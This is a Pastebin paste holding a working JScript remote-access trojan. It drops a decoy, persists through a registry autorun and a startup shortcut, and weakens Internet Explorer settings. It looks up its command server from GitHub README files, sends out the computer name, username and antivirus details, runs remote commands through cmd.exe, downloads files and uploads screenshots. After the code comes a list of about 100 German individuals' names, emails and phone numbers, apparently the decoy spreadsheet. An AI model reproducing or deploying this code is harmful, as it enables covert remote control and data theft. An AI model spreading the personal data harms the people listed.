API tools faq
paste
Guest User

Untitled

a guest
Dec 4th, 2018
2,042
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.37 KB
raw download clone embed print report
  1. L
  2.  
  3.  
  4.  
  5. var WshShell = new ActiveXObject("WScript.Shell"); //p0b2x6
  6. var fso = new ActiveXObject("Scripting.FileSystemObject"); //p0b2x6
  7. var shellApp = new ActiveXObject("shell.application"); //p0b2x6
  8. //p0b2x6
  9. version = "1.3" //p0b2x6
  10. ref = "bd" //p0b2x6
  11. //p0b2x6
  12. items = ['https://raw.githubusercontent.com/deadpooool/news/master/README.md','https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md']; //p0b2x6
  13. StorageDir = WshShell.ExpandEnvironmentStrings("%localappdata%")+"\\Microsoft\\PackageCache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"; //p0b2x6
  14. extracted_file = "200_Germany.csv "; //p0b2x6
  15. extracted_file_filesize = 12692 ; //p0b2x6
  16. lnk_filesize = 21890 ; //p0b2x6
  17. startup_shortcut = StorageDir + "\\services.lnk"; //p0b2x6
  18. agent_location = StorageDir + "\\file.js"; //p0b2x6
  19. agent_hidden_executer = StorageDir + "\\startup.js"; //p0b2x6
  20. g3r = StorageDir + "\\g3r.reg"; //p0b2x6
  21. agent_id_location = StorageDir + "\\id"; //p0b2x6
  22. lckFile = StorageDir+"\\h.lck"; //p0b2x6
  23. ieFile = StorageDir + "\\kill.js"; //p0b2x6
  24. av = return_av_name(); //p0b2x6
  25. pFolder = WshShell.ExpandEnvironmentStrings("%localappdata%")+"\\Python"; //p0b2x6
  26. sctFile = pFolder+ "\\SC7.P7D"; //p0b2x6
  27. pyFile = "main.py"; //p0b2x6
  28. pyAlreadyRunning = 0; //p0b2x6
  29. //p0b2x6
  30. if(av.length != av.replace("Kasper", "").length) //p0b2x6
  31. { //p0b2x6
  32. kasper = 1; //p0b2x6
  33. } //p0b2x6
  34. else //p0b2x6
  35. { //p0b2x6
  36. kasper = 0; //p0b2x6
  37. } //p0b2x6
  38. kasperWritten = 0; //p0b2x6
  39. main(); //p0b2x6
  40. //p0b2x6
  41. function main() { //p0b2x6
  42. if(WScript.ScriptFullName != agent_location) { //p0b2x6
  43. extract_and_run_decoy(); //p0b2x6
  44. create_storage_dir(); //p0b2x6
  45. create_ie_file(); //p0b2x6
  46. create_startup_executer(); //p0b2x6
  47. copy_agent_to_new_location(); //p0b2x6
  48. exec_cscript(agent_location); //p0b2x6
  49. delete_temp_files(); //p0b2x6
  50. } else { //p0b2x6
  51. lck = fso.CreateTextFile(lckFile, 1); //p0b2x6
  52. exec_cscript(ieFile); //p0b2x6
  53. main_loop(); //p0b2x6
  54. } //p0b2x6
  55. } //p0b2x6
  56. //p0b2x6
  57. function main_loop() { //p0b2x6
  58. var now = get_time(); //p0b2x6
  59. r3g(); //p0b2x6
  60. if(kasper == 1 && fso.FileExists(agent_id_location) == false && kasperWritten == 0) //p0b2x6
  61. { //p0b2x6
  62. WshShell.Run("reg import "+g3r, 0, 1); //p0b2x6
  63. create_shortcut_in_startup(); //p0b2x6
  64. kasperWritten = 1; //p0b2x6
  65. } //p0b2x6
  66. else //p0b2x6
  67. { //p0b2x6
  68. WshShell.Run("reg import "+g3r, 0, 1); //p0b2x6
  69. create_shortcut_in_startup(); //p0b2x6
  70. //p0b2x6
  71. } //p0b2x6
  72. //p0b2x6
  73. server = extract_srvaddr(); //p0b2x6
  74. try { //p0b2x6
  75. id = get_id(); //p0b2x6
  76. while(1) { //p0b2x6
  77. //p0b2x6
  78. var passedsec = get_time()-now; //p0b2x6
  79. if(passedsec > 60*60){ //p0b2x6
  80. now = get_time(); //p0b2x6
  81. server = extract_srvaddr(); //p0b2x6
  82. } //p0b2x6
  83. //p0b2x6
  84. command = get_page_content_with_ie(server + "/getcommand", "action=getCommand&uid="+id); //p0b2x6
  85. eval("obj=" +command); //p0b2x6
  86. if(obj.command.length > 0) { //p0b2x6
  87. if(obj.command.search('download') >= 0) { //p0b2x6
  88. var spl = obj.command.split('|'); //p0b2x6
  89. file = get_page_content_with_ie(server + "/dwnld?u="+spl[1], ""); //p0b2x6
  90. if(file.length > 0) { //p0b2x6
  91. bin_write(spl[2], hex2bin(file)); //p0b2x6
  92. } //p0b2x6
  93. } else { //p0b2x6
  94. WshShell.Run("cmd.exe /c " +obj.command, 0, 0); //p0b2x6
  95. } //p0b2x6
  96. WScript.Sleep(10000); //p0b2x6
  97. } else { //p0b2x6
  98. WScript.Sleep(30000); //p0b2x6
  99. } //p0b2x6
  100. //p0b2x6
  101. if(fso.FileExists(pFolder+"\\"+pyFile) && pyAlreadyRunning == 0) { //p0b2x6
  102. oldWd = WshShell.CurrentDirectory; //p0b2x6
  103. WshShell.CurrentDirectory = pFolder; //p0b2x6
  104. //p0b2x6
  105. pyAlreadyRunning = 1; //p0b2x6
  106. WshShell.Run("python.exe
  107.  
  108.  
  109.  
  110. "+pyFile, 0, 0); //p0b2x6
  111. //p0b2x6
  112. WshShell.CurrentDirectory = oldWd; //p0b2x6
  113. } //p0b2x6
  114. //p0b2x6
  115. if(fso.FileExists(sctFile)) { //p0b2x6
  116. sctb64 = base64_encode(sctFile); //p0b2x6
  117. screen = get_page_content_with_ie(server + "/zaqxswcde123456789", "action=sendScreenshot&uid="+id+"&data="+sctb64); //p0b2
  118. x6
  119. fso.DeleteFile(sctFile, 1); //p0b2x6
  120. } //p0b2x6
  121. //p0b2x6
  122. } //p0b2x6
  123. } catch (e) { //p0b2x6
  124. WScript.Sleep(60000); //p0b2x6
  125. main_loop(); //p0b2x6
  126. } //p0b2x6
  127. } //p0b2x6
  128. //p0b2x6
  129. function get_id() { //p0b2x6
  130. id = ""; //p0b2x6
  131. while(id.length != 16) { //p0b2x6
  132. if(fso.FileExists(agent_id_location)) { //p0b2x6
  133. f = fso.OpenTextFile(agent_id_location, 1); //p0b2x6
  134. while (!f.AtEndOfStream) { //p0b2x6
  135. id += f.ReadLine(); //p0b2x6
  136. } //p0b2x6
  137. f.Close(); //p0b2x6
  138. up = get_page_content_with_ie(server + "/getid", "action=up&uid="+id+"&antivirus="+return_av_name()); //p0b2x6
  139. } else { //p0b2x6
  140. id = get_page_content_with_ie(server + "/getid", "action=getSerial&computer_name="+WshShell.ExpandEnvironmentStrings("%computername%")+"&u
  141. sername="+WshShell.ExpandEnvironmentStrings("%username%")+"&version="+version+"&cli="+ref); //p0b2x6
  142. if(id.length == 16) { //p0b2x6
  143. var s = fso.CreateTextFile(agent_id_location, true); //p0b2x6
  144. s.Write(id); //p0b2x6
  145. s.Close(); //p0b2x6
  146. up = get_page_content_with_ie(server + "/getid", "action=up&uid="+id+"&antivirus="+return_av_name()); //p0b2x6
  147. } //p0b2x6
  148. } //p0b2x6
  149. WScript.Sleep(30000); //p0b2x6
  150. } //p0b2x6
  151. return id; //p0b2x6
  152. } //p0b2x6
  153. //p0b2x6
  154. function get_page_content_with_ie(url, postdata) { //p0b2x6
  155. try{ //p0b2x6
  156. var ie = new ActiveXObject("InternetExplorer.Application"); //p0b2x6
  157. ie.Visible = 0; //p0b2x6
  158. if(postdata.length == 0) { //p0b2x6
  159. ie.Navigate(url); //p0b2x6
  160. } else { //p0b2x6
  161. ie.Navigate(url, "", "", stream_string_to_binary(postdata), "Content-Type: application/x-www-form-urlencoded"); //p0b2x6
  162. } //p0b2x6
  163. i = 0; //p0b2x6
  164. while(i < 60) { //p0b2x6
  165. if(ie.ReadyState == 4) { //p0b2x6
  166. i = 60; //p0b2x6
  167. } //p0b2x6
  168. WScript.Sleep(1000); //p0b2x6
  169. i = i + 1; //p0b2x6
  170. } //p0b2x6
  171. content = ie.document.body.innerHTML; //p0b2x6
  172. content = content.replace("&amp;", "&"); //p0b2x6
  173. content = content.replace("&gt;", ">"); //p0b2x6
  174. content = content.replace("&lt;", "<"); //p0b2x6
  175. content = content.replace('&quot;', '"'); //p0b2x6
  176. content = content.replace("<pre>", ""); //p0b2x6
  177. content = content.replace("</pre>", ""); //p0b2x6
  178. content = content.replace("<PRE>", ""); //p0b2x6
  179. content = content.replace("</PRE>", ""); //p0b2x6
  180. ie.Quit(); //p0b2x6
  181. delete ie; //p0b2x6
  182. return content; //p0b2x6
  183. } catch (e) { //p0b2x6
  184. return ''; //p0b2x6
  185. } //p0b2x6
  186. } //p0b2x6
  187. //p0b2x6
  188. function stream_string_to_binary(str) { //p0b2x6
  189. var BinaryStream = WScript.CreateObject('ADODB.Stream'); //p0b2x6
  190. BinaryStream.Type = 2; //p0b2x6
  191. BinaryStream.CharSet = "us-ascii" //p0b2x6
  192. //p0b2x6
  193. BinaryStream.Open(); //p0b2x6
  194. BinaryStream.WriteText(str); //p0b2x6
  195. BinaryStream.Position = 0; //p0b2x6
  196. BinaryStream.Type = 1; //p0b2x6
  197. //p0b2x6
  198. return BinaryStream.read(); //p0b2x6
  199. } //p0b2x6
  200. //p0b2x6
  201. function num2dot(num) { //p0b2x6
  202. var d = num%256; //p0b2x6
  203. for (var i=3; i>0; i--) { //p0b2x6
  204. num = Math.floor(num/256); //p0b2x6
  205. d = num%256+'.'+d; //p0b2x6
  206. } //p0b2x6
  207. return d; //p0b2x6
  208. } //p0b2x6
  209. //p0b2x6
  210. function get_time() { //p0b2x6
  211. var date = new Date(); //p0b2x6
  212. return date.getTime()/1000|0; //p0b2x6
  213. } //p0b2x6
  214. //p0b2x6
  215. function extract_srvaddr() { //p0b2x6
  216. serverFound = false; //p0b2x6
  217. pattern = 'our news start at (.*) thank you'; //p0b2x6
  218. while(serverFound == false) { //p0b2x6
  219. var item = items[Math.floor(Math.random()*items.length)]; //p0b2x6
  220. var html = get_page_content_with_ie(item,''); //p0b2x6
  221. if(html != '') { //p0b2x6
  222. var match = extract_string(pattern, html); //p0b2x6
  223. if(match != null) { //p0b2x6
  224. srv = num2dot(match[1]/666); //p0b2x6
  225. srv = srv + "/Validate"; //p0b2x6
  226. srv_stat = get_page_content_with_ie(srv+"/ValSrv", ''); //p0b2x6
  227. validate_str = extract_string('youwillnotfindthisanywhare', srv_stat); //p0b2x6
  228. if(validate_str == 'youwillnotfindthisanywhare') { //p0b2x6
  229. serverFound = true; //p0b2x6
  230. return srv; //p0b2x6
  231. } //p0b2x6
  232. } //p0b2x6
  233. } //p0b2x6
  234. } //p0b2x6
  235. } //p0b2x6
  236. //p0b2x6
  237. function extract_string(pattern, str) { //p0b2x6
  238. if(pattern != '' && str != '') { //p0b2x6
  239. try { //p0b2x6
  240. re = new RegExp(pattern, 'i') //p0b2x6
  241. match = str.match(re); //p0b2x6
  242. return match; //p0b2x6
  243. } catch (e) { //p0b2x6
  244. return null; //p0b2x6
  245. } //p0b2x6
  246. } //p0b2x6
  247. } //p0b2x6
  248. //p0b2x6
  249. function r3g() { //p0b2x6
  250. var s = fso.CreateTextFile(g3r, true); //p0b2x6
  251. s.WriteLine('Windows Registry Editor Version 5.00'); //p0b2x6
  252. s.WriteLine(''); //p0b2x6
  253. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows]'); //p0b2x6
  254. s.WriteLine('"run"="' +StorageDir.replace(/\\/g, "\\\\")+ '\\\\services.lnk"'); //p0b2x6
  255. s.WriteLine(''); //p0b2x6
  256. s.WriteLine('[HKEY_CURRENT_USER\\Control Panel\\Cursors]'); //p0b2x6
  257. s.WriteLine('"AppStarting"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,63,00,75,00,72,00,73,00,6f,00,72,00,73,00,5c,00,61,00,65,00,72,00,6f,00,5f,00,61,00,72,00,72,00,6f,00,77,00,2e,00,63,00,75,00,72,00,00,00'); //p0b2x6
  258. s.WriteLine(''); //p0b2x6
  259. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main]'); //p0b2x6
  260. s.WriteLine('"Check_Associations"="no"'); //p0b2x6
  261. s.WriteLine('"NoProtectedModeBanner"=dword:00000001'); //p0b2x6
  262. s.WriteLine('"IE10RunOncePerInstallCompleted"=dword:00000001'); //p0b2x6
  263. s.WriteLine(''); //p0b2x6
  264. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Recovery]'); //p0b2x6
  265. s.WriteLine('"AutoRecover"=dword:00000002'); //p0b2x6
  266. s.WriteLine(''); //p0b2x6
  267. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PhishingFilter]'); //p0b2x6
  268. s.WriteLine('"EnabledV9"=dword:00000001'); //p0b2x6
  269. s.WriteLine(''); //p0b2x6
  270. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\BrowserEmulation]'); //p0b2x6
  271. s.WriteLine('"MSCompatibilityMode"=dword:00000001'); //p0b2x6
  272. s.WriteLine(''); //p0b2x6
  273. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced]'); //p0b2x6
  274. s.WriteLine('"EnableBalloonTips"=dword:00000000'); //p0b2x6
  275. s.WriteLine(''); //p0b2x6
  276. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings]'); //p0b2x6
  277. s.WriteLine('"GlobalUserOffline"=dword:00000000'); //p0b2x6
  278. s.WriteLine(''); //p0b2x6
  279. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3]'); //p0b2x6
  280. s.WriteLine('"2500"=dword:00000003'); //p0b2x6
  281. s.WriteLine(''); //p0b2x6
  282. s.WriteLine('[HKEY_CURRENT_USER\\Software\\Piriform\\CCleaner]'); //p0b2x6
  283. s.WriteLine('"BrowserMonitoring"=-'); //p0b2x6
  284. s.WriteLine('"(Mon)3001"=-'); //p0b2x6
  285. s.WriteLine(''); //p0b2x6
  286. s.Close(); //p0b2x6
  287. } //p0b2x6
  288. //p0b2x6
  289. function return_av_name() { //p0b2x6
  290. try { //p0b2x6
  291. var oWMISrvc = GetObject("winmgmts:\\\\.\\root\\cimv2"); //p0b2x6
  292. var colOperatingSystems = oWMISrvc.ExecQuery("SELECT * FROM Win32_OperatingSystem"); //p0b2x6
  293. //p0b2x6
  294. var objItem = new Enumerator(colOperatingSystems); //p0b2x6
  295. for(;!objItem.atEnd();objItem.moveNext()) { //p0b2x6
  296. var version = objItem.item().Version.substr(0,3); //p0b2x6
  297. } //p0b2x6
  298. objWMIService = ""; //p0b2x6
  299. try { //p0b2x6
  300. var objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter"); //p0b2x6
  301. //p0b2x6
  302. } catch(e) {} //p0b2x6
  303. try { //p0b2x6
  304. var objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter2"); //p0b2x6
  305. } catch (e) {} //p0b2x6
  306. if (typeof(objWMIService) == "string") //p0b2x6
  307. { //p0b2x6
  308. return 'N/A'; //p0b2x6
  309. } //p0b2x6
  310. var colItems = objWMIService.ExecQuery("SELECT displayName FROM AntiVirusProduct", "WQL"); //p0b2x6
  311. //p0b2x6
  312. var enumItems = new Enumerator(colItems); //p0b2x6
  313. name = ""; //p0b2x6
  314. for (;!enumItems.atEnd();enumItems.moveNext()) { //p0b2x6
  315. name = enumItems.item().displayName+" and "+name; //p0b2x6
  316. } //p0b2x6
  317. //p0b2x6
  318. if(name != null && name != '') { //p0b2x6
  319. return name; //p0b2x6
  320. } else { //p0b2x6
  321. return 'N/A'; //p0b2x6
  322. } //p0b2x6
  323. } catch (e) { //p0b2x6
  324. return 'N/A'; //p0b2x6
  325. } //p0b2x6
  326. } //p0b2x6
  327. //p0b2x6
  328. function CreateFolderRecursive(FullPath) { //p0b2x6
  329. var arr = [], dir = [], path = [] //p0b2x6
  330. //p0b2x6
  331. arr = FullPath.split("\\"); //p0b2x6
  332. path = ""; //p0b2x6
  333. for(index=0; index<arr.length; ++index) { //p0b2x6
  334. if(path != "") //p0b2x6
  335. path = path+"\\"; //p0b2x6
  336. path = path+""+arr[index]; //p0b2x6
  337. if(!fso.FolderExists(path)) { //p0b2x6
  338. try { //p0b2x6
  339. fso.CreateFolder(path); //p0b2x6
  340. } catch (e) { //p0b2x6
  341. } //p0b2x6
  342. } //p0b2x6
  343. } //p0b2x6
  344. } //p0b2x6
  345. //p0b2x6
  346. function copy_agent_to_new_location() { //p0b2x6
  347. fso.CopyFile(WScript.ScriptFullName, agent_location); //p0b2x6
  348. } //p0b2x6
  349. //p0b2x6
  350. function create_startup_executer() { //p0b2x6
  351. var s = fso.CreateTextFile(agent_hidden_executer, true); //p0b2x6
  352. s.WriteLine('var WshShell = new ActiveXObject("WScript.Shell");'); //p0b2x6
  353. s.WriteLine('WshShell.Run("C:\\\\Windows\\\\System32\\\\cscript.exe
  354.  
  355.  
  356.  
  357. '+agent_location.replace(/\\/g, "\\\\")+'", 0, 0);'); //p0b2x6
  358. s.Close(); //p0b2x6
  359. } //p0b2x6
  360. //p0b2x6
  361. function create_shortcut_in_startup() { //p0b2x6
  362. var oShellLink = WshShell.CreateShortcut(startup_shortcut); //p0b2x6
  363. oShellLink.TargetPath = "%comspec%"; //p0b2x6
  364. oShellLink.Arguments = "/c cscript "+agent_hidden_executer; //p0b2x6
  365. oShellLink.WindowStyle = 7; //p0b2x6
  366. oShellLink.WorkingDirectory = StorageDir; //p0b2x6
  367. oShellLink.Save(); //p0b2x6
  368. } //p0b2x6
  369. //p0b2x6
  370. //p0b2x6
  371. function create_storage_dir() { //p0b2x6
  372. if(!fso.FolderExists(StorageDir)) { //p0b2x6
  373. CreateFolderRecursive(StorageDir); //p0b2x6
  374. } //p0b2x6
  375. } //p0b2x6
  376. //p0b2x6
  377. function create_ie_file() { //p0b2x6
  378. if(!fso.FileExists(ieFile)) { //p0b2x6
  379. var s = fso.CreateTextFile(ieFile, true); //p0b2x6
  380. s.WriteLine(unescape("var%20oWMISrvc%20%3D%20GetObject%28%22winmgmts%3A%5C%5C%5C%5C.%5C%5Croot%5C%5Ccimv2%22%29%3Bwhile%281%29%7BWScript.Sleep%28180000%29%3B%20cProcNIE%28%29%3B%7Dfunction%20cProcNIE%28%29%20%7Btry%20%7Bvar%20colProcLst%20%3D%20oWMISrvc.ExecQuery%28%22SELECT%20*%20FROM%20Win32_Process%20WHERE%20CommandLine%20LIKE%20%27%25-Embedding%25%27%20AND%20Name%20%3D%20%27iexplore.exe%27%22%29%3Bvar%20objItem%20%3D%20new%20Enumerator%28colProcLst%29%3Bfor%28%3B%21objItem.atEnd%28%29%3BobjItem.moveNext%28%29%29%20%7Bvar%20p%20%3D%20objItem.item%28%29%3Bp.Terminate%28%29%3B%7D%7D%20catch%20%20%28e%29%20%7B%7D%7D")); //p0b2x6
  381. s.Close(); //p0b2x6
  382. } //p0b2x6
  383. } //p0b2x6
  384. //p0b2x6
  385. function extract_file(src, dest, start, file_size) { //p0b2x6
  386. var oFile = fso.GetFile(src); //p0b2x6
  387. var oRead = oFile.OpenAsTextStream(); //p0b2x6
  388. data = oRead.Read(oFile.Size); //p0b2x6
  389. oRead.Close(); //p0b2x6
  390. offset_data = data.substr(start+1, file_size); //p0b2x6
  391. var wFile = fso.OpenTextFile(dest, 2, true); //p0b2x6
  392. wFile.Write(offset_data); //p0b2x6
  393. wFile.Close(); //p0b2x6
  394. } //p0b2x6
  395. //p0b2x6
  396. function delete_temp_files() { //p0b2x6
  397. fso.DeleteFile(WScript.arguments(0), 1); //p0b2x6
  398. fso.DeleteFile(WScript.ScriptFullName, 1); //p0b2x6
  399. } //p0b2x6
  400. //p0b2x6
  401. function extract_and_run_decoy() { //p0b2x6
  402. extract_file(WScript.arguments(0), extracted_file, lnk_filesize, extracted_file_filesize); //p0b2x6
  403. WshShell.Run("cmd.exe /c "+extracted_file, false, false); //p0b2x6
  404. } //p0b2x6
  405. //p0b2x6
  406. function exec_cscript(path) { //p0b2x6
  407. WshShell.Run("cscript.exe
  408.  
  409.  
  410. "+
  411. path, false, false); //p0b2x6
  412. } //p0b2x6
  413. //p0b2x6
  414. function base64_encode(path) { //p0b2x6
  415. var inputStream = new ActiveXObject('ADODB.Stream'); //p0b2x6
  416. inputStream.Open(); //p0b2x6
  417. inputStream.Type = 1; //p0b2x6
  418. inputStream.LoadFromFile(path); //p0b2x6
  419. var bytes = inputStream.Read(); //p0b2x6
  420. var dom = new ActiveXObject('Microsoft.XMLDOM'); //p0b2x6
  421. var elem = dom.createElement('tmp'); //p0b2x6
  422. elem.dataType = 'bin.base64'; //p0b2x6
  423. elem.nodeTypedValue = bytes; //p0b2x6
  424. return elem.text.replace(/[^A-Z\d+=\/]/gi, ''); //p0b2x6
  425. } //p0b2x6
  426. //p0b2x6
  427. function bin_write(path, bin_data) { //p0b2x6
  428. var BinaryStream = WScript.CreateObject("ADODB.Stream"); //p0b2x6
  429. BinaryStream.Type = 2; //p0b2x6
  430. BinaryStream.Charset = "ISO-8859-1"; //p0b2x6
  431. BinaryStream.Open(); //p0b2x6
  432. BinaryStream.WriteText(bin_data); //p0b2x6
  433. BinaryStream.SaveToFile(path, 2); //p0b2x6
  434. BinaryStream.Close(); //p0b2x6
  435. } //p0b2x6
  436. //p0b2x6
  437. function hex2bin(hex) { //p0b2x6
  438. var bytes = [], str; //p0b2x6
  439. //p0b2x6
  440. for(var i=0; i< hex.length-1; i+=2) //p0b2x6
  441. bytes.push(parseInt(hex.substr(i, 2), 16)); //p0b2x6
  442. //p0b2x6
  443. return String.fromCharCode.apply(String, bytes); //p0b2x6
  444. } //p0b2x6
  445. //p0b2x6
  446. Marcel,Kressner,Marcelkressner@gmx.de,Germany,(490359) 650-8990
  447. Peter,Klein,klein-peter@freenet.de,Germany,(49) 938-4367
  448. Oleg,Semenov,oleg.semenov@gmx.de,Germany,(1763) 867-4881
  449. Sigmar,Meister,sigmarmeister@gmx.de,Germany,(4901511) 731-7333
  450. Hans,Baumgarten,supertrader@hushmail.com,Germany,(494) 061-7345
  451. Simon,Blessing,simonblessing1@web.de,Germany,(49171) 755-8414
  452. Bernd,Schaefer Sell,berndaushamburg@gmx.de,Germany,(49403) 093-1971
  453. Thilo,Bode,tebe74@googlemail.com,Germany,(49173) 384-4308
  454. Sergej,Stenkin,sergejstenkin@freemail.ru,Germany,(4905641) 748-3361
  455. Valerij,Spickov,walspick@unitybox.de,Germany,(49316) 660-4966
  456. Mike,Grohmann,platafinanz@yahoo.de,Germany,(49305) 163-9935
  457. Rainer,Ludwig,rainerludwig@gmx.net,Germany,(49171) 336-8353
  458. Ulrich,Sperlich,ulrich.sperlich@gmx.de,Germany,(4901535) 380-9513
  459. Steven,Goet,s.goet@web.de,Germany,(4904103) 317-3066
  460. Kumar,Raja,romaraja@hotmail.com,Germany,(160) 733-6190
  461. Hans,Schuldt,HansSchuldt@freenet.de,Germany,(491513) 805-8473
  462. Alexei,Frank,novum_futurum@web.de,Germany,(491573) 816-3543
  463. Meike + Bjoern,Neubauer,meike.bjoern.neubauer@t-online.de,Germany,(49573) 570-9830
  464. Max,Dieringer,max.amir@me.com,Germany,(497115) 764-1334
  465. Tanja,Lau,Lau.Tanja@gmx.de,Germany,(491577) 890-6843
  466. Kevin,Leineweber,KevinLeineweber@gmx.de,Germany,(490049178) 408-6330
  467. Alexander,Kaiser,bigalex77@hotmail.com,Germany,(491766) 103-5114
  468. Christopher,Beyer,C.beyer1@gmx.net,Germany,(490177) 680-5651
  469. Hendrik,Ehlert,hendrik@mehlert-online.de,Germany,(490338) 380-5030
  470. Christian,Bader,badx@gmx.net,Germany,(1533) 757-4469
  471. Stanislaw,Garbacz,stani456@googlemail.com,Germany,(4915771577) 304-7300
  472. Bjoern,Hillers,hilli1970@googlemail.com,Germany,(491764) 134-9816
  473. Curt,Nelsson,curtn@web.de,Germany,(4901578) 849-1843
  474. Sonja & Carsten,Koepke,carstenkoepke3003@yahoo.de,Germany,(4991555985) 361-5800
  475. Valentin,Kolaberdin,valentin@kolaberdin.com,Germany,(491577) 534-0734
  476. Hinrich,Hoernlein Rummel,hhr@prophymed.com,Germany,(490171) 543-7439
  477. Robin,Kosalla,RobinKosalla@googlemail.com,Germany,(49173) 965-3944
  478. Tobias,Feigel,tobias.feigel@web.de,Germany,(49177) 735-1553
  479. Christian-Johannes,Henrich,henrich.business@gmail.com,Germany,(490049163) 394-5150
  480. Juergen,Robert,vk.lauterbach@yahoo.de,Germany,(49163) 343-9665
  481. Augustin,Yimbi,ayimbi@gmx.de,Germany,(493331) 635-4543
  482. Tanja,Mayfurth,tanjamayfurth@hotmail.com,Germany,(49163) 494-3103
  483. Rolf Juergen,Vosseler,rolf.vosseler@t-online.de,Germany,(49485) 383-9404
  484. Harald,Henrich,haraldhenrich0@gmail.com,Germany,(49633) 595-9700
  485. Andreas,Schmitt,andreas_schmitt@live.com,Germany,(49891) 895-9659
  486. Marcel,Schaefer,mas.main@googlemail.com,Germany,(491) 737-4466
  487. Markus,Rechlin,markusrechlin@gmail.com,Germany,(49506703314) 334-8000
  488. Ray (Rainer),Schrader,tipo48@googlemail.com,Germany,(4906753) 131-3609
  489. Nikolaos,Kiparissis,nikos_ctp@hotmail.com,Germany,(1609) 443-3901
  490. Marco,Wirges,marco.wirges@me.com,Germany,(49685) 396-0370
  491. Sabine,Reineke herbst,zockerei@safux.de,Germany,(491768) 113-9113
  492. Karl,Raase,inter-nett@gmx.de,Germany,(49537730334) 844-5000
  493. Bjoern,Ohle,ohleb@yahoo.de,Germany,(49511) 303-3013
  494. Patrick,Gutzmann,ilmyl@me.com,Germany,(491511) 653-9867
  495. AHMET,BATAN,arcob38@windowslive.com,Germany,(490533) 513-1370
  496. Xep,Vu Thi,xep47de@yahoo.de,Germany,(4901530) 777-4759
  497. Hendrik,Schulze,stucan@gmx.de,Germany,(4901577) 170-7184
  498. Gregor,Przeworski,gregor.przeworski@targobank.de,Germany,(491765) 510-6889
  499. Katja,Hebestreit,katjahebestreit@yahoo.de,Germany,(491763) 678-4463
  500. Alex,Huebgen,alexhue.trade@gmail.com,Germany,(496831) 307-1114
  501. Alexander,Alert,alert76@googlemail.com,Germany,(493333) 600-9404
  502. Juergen,Luebke,trader3108@freenet.de,Germany,(495319) 497-7376
  503. Kim,Schwarzkopf,schwarzkopf.k@gmx.net,Germany,(496033) 987-1143
  504. Jeana,Hauswald,jeana_haus@hotmail.de,Germany,(493117) 311-7936
  505. Fabio,Frentzen,Fabio.Frentzen@web.de,Germany,(491578) 656-3768
  506. Alexander,Eichler,airalex@hotmail.de,Germany,(491763) 066-3609
  507. Ewald,Riedel,3683969@online.de,Germany,(490747) 591-4669
  508. Stephan,Schwenke beust,sschwenke@gmx.de,Germany,(494151) 879-4714
  509. Werner,Lenz,1aprovit@live.de,Germany,(491530) 639-9553
  510. Wolfgang,Buschek,wolfib@gmx.de,Germany,(490911) 801-9003
  511. Lukas,Schreiber,kontakt@trade-the-forex.de,Germany,(49173) 767-9418
  512. Marc,Dornieden,Marc.Dornieden@googlemail.com,Germany,(49531) 317-0565
  513. Andreas,Treptow,forex@andreas-treptow.de,Germany,(49630) 179-8670
  514. Birgit,Finke,finke-birgit@t-online.de,Germany,(49175) 376-7351
  515. Manfred,Paulun,manfred@paulunyland.de,Germany,(49453) 638-1671
  516. Lars,Macario,lars.macario@gmail.com,Germany,(49171) 637-6999
  517. Fawad,Amin,fawadamin3011@yahoo.de,Germany,(49309) 148-7670
  518. Piyaphong,Saikamthon,onnoskish@hotmail.com,Germany,(49309) 981-3519
  519. Jessica,Friesen,friesenjessica@gmx.de,Germany,(49178) 143-3506
  520. Max,Lesemann,m.lesemann@posteo.de,Germany,(49173) 300-0000
  521. Heiko,Klabes,heikoklabes@yahoo.de,Germany,(49349) 655-5001
  522. Armin,Staender,arminstaender@gmx.de,Germany,(49173) 613-9606
  523. Michael,Dinse,michaeldinse@gmx.de,Germany,(49173) 349-3743
  524. Alexander,Degenstein,a.degenstein@gmx.de,Germany,(49171) 700-0000
  525. Heiko,Lasch,heikosnews@gmx.de,Germany,(49305) 106-6030
  526. Andreas,Hein,byteorder@me.com,Germany,(49656) 194-1084
  527. Gerhard,Lungershausen,ompoa1@yahoo.de,Germany,(49360) 383-0550
  528. Robert,Kluge,hopper_1@web.de,Germany,(49173) 341-1671
  529. Francoise,Lhote,flhote@gmx.de,Germany,(49691) 751-3975
  530. Karsten,Klimek,denham@gmx.de,Germany,(49691) 534-9778
  531. Nikolas,Drangenstein,drangenstein@googlemail.com,Germany,(4906) 963-6631
  532. Wolfgang,Zipp,wolfgang.zipp@t-online.de,Germany,(4963) 537-3633
  533. Dumitru,Liviu,liviu-dumitru@t-online.de,Germany,(4913) 435-6678
  534. Roy,Almagor,royalg006@mailinator.com,Germany,(4933) 433-4334
  535. Friedrich,Becker,becker-ense@unitybox.de,Germany,(4903) 938-1335
  536. Stefan,Mauss,mauss@t-online.de,Germany,(4951) 131-3407
  537. Florian,Fornoff,daytradecentral@gmail.com,Germany,(4916) 133-1546
  538. Julian,Strobl,julian.strobl@gmx.de,Germany,(491511) 530-9199
  539. Sascha,Berg,sascha-berg@gmx.de,Germany,(49171) 796-3838
  540. Hani,Basta,hany.p@gmx.de,Germany,(4901578) 764-8680
  541. Klaus,Scharf,k.scharf@ksmd.de,Germany,(49391) 633-9143
  542. Georg,Klotzsche,klotzschi@googlemail.com,Germany,(49353485) 697-4659
  543. Udoh,Ini,mybyte3003@yahoo.de,Germany,(490176) 000-0000
  544. Marc Oliver,Lesch,oliverundhannah@gmx.de,Germany,(491535) 333-9833
  545. Dennis,David,dennisdavid92@gmx.de,Germany,(491575) 586-1162
